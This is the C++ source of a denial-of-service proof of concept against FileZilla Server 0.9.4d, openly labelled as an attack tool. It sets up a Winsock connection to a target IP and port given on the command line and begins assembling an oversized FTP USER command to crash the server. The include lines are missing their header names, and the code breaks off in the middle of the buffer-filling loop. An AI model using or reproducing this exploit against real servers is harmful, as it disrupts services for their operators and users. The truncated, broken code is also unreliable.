/* FileZillaDoS.cpp FileZilla Server Terminal 0.9.4d DoS PoC by Inge Henriksen. Read the disclaimer at http://ingehenriksen.blogspot.com before using. Made to work with Microsoft(R) Visual C++(R), to use link "WS2_32.lib". */ #include "stdafx.h" #include #include "Winsock2.h" #define BUFFSIZE 10000 #define ATTACK_BUFFSIZE 5000 using namespace std; int _tmain(int argc, _TCHAR* argv[]) { cout << "FileZilla Server Terminal 0.9.4d DoS PoC by Inge Henriksen." << endl; cout << "Read the disclaimer at http://ingehenriksen.blogspot.com before using." << endl; if (argc!=3) // Exit if wrong number of arguments { cerr << "Error: Wrong number of arguments" << endl; cout << "Usage: " << argv[0] << " " << endl; cout << "Example: " << argv[0] << " 192.168.2.100 21" << endl; return (-1); } in_addr IPAddressData; __int64 counterVal; char* bufferData; char* attackStringData; SOCKET sock; sockaddr_in sinInterface; WSADATA wsaData; int iResult = WSAStartup(MAKEWORD(2, 2), &wsaData); // Use Winsock version 2.2 if (iResult != NO_ERROR) { cerr << "Error: WSAStartup() failed" << endl; return(-1); } int recvRet; char tmpBuffer[BUFFSIZE]; char tmpAttackBuffer[ATTACK_BUFFSIZE]; tmpAttackBuffer[0] = 'U'; tmpAttackBuffer[1] = 'S'; tmpAttackBuffer[2] = 'E'; tmpAttackBuffer[3] = 'R'; tmpAttackBuffer[4] = ' '; int i; int j=5; for (i=j;i